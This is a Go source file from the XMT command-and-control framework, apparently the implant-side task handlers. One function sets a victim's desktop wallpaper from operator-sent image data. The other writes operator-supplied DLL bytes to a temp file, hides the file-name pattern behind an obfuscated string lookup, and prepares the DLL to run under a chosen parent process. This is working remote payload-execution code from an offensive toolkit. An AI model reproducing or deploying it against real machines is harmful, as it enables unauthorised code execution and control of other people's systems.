github.com/iDigitalFlame/xmt@v0.5.4/c2/task/yx_windows_crypt.go (about)

     1  //go:build windows && crypt
     2  // +build windows,crypt
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package task
    21  
    22  import (
    23  	"context"
    24  	"io"
    25  	"os"
    26  
    27  	"github.com/iDigitalFlame/xmt/cmd"
    28  	"github.com/iDigitalFlame/xmt/data"
    29  	"github.com/iDigitalFlame/xmt/device/winapi"
    30  	"github.com/iDigitalFlame/xmt/util/crypt"
    31  )
    32  
    33  func taskTrollSetWallpaper(r data.Reader) error {
    34  	f, err := data.CreateTemp("", crypt.Get(7)) // *.jpg
    35  	if err != nil {
    36  		return err
    37  	}
    38  	_, err = io.Copy(f, r)
    39  	if f.Close(); err != nil {
    40  		os.Remove(f.Name())
    41  		return err
    42  	}
    43  	return winapi.SetWallpaper(f.Name())
    44  }
    45  
    46  // DLLUnmarshal will read this DLL's struct data from the supplied reader and
    47  // returns a DLL runnable struct along with the wait and delete status booleans.
    48  //
    49  // This function returns an error if building or reading fails or if the device
    50  // is not running Windows.
    51  func DLLUnmarshal(x context.Context, r data.Reader) (*cmd.DLL, bool, bool, error) {
    52  	var d DLL
    53  	if err := d.UnmarshalStream(r); err != nil {
    54  		return nil, false, false, err
    55  	}
    56  	if len(d.Data) == 0 && len(d.Path) == 0 {
    57  		return nil, false, false, cmd.ErrEmptyCommand
    58  	}
    59  	p := d.Path
    60  	if len(d.Data) > 0 {
    61  		f, err := data.CreateTemp("", crypt.Get(8)) // *.dll
    62  		if err != nil {
    63  			return nil, false, false, err
    64  		}
    65  		_, err = f.Write(d.Data)
    66  		if f.Close(); err != nil {
    67  			os.Remove(f.Name())
    68  			return nil, false, false, err
    69  		}
    70  		p = f.Name()
    71  	}
    72  	v := cmd.NewDLLContext(x, p)
    73  	v.Timeout = d.Timeout
    74  	v.SetParent(d.Filter)
    75  	return v, d.Wait, d.Path != p, nil
    76  }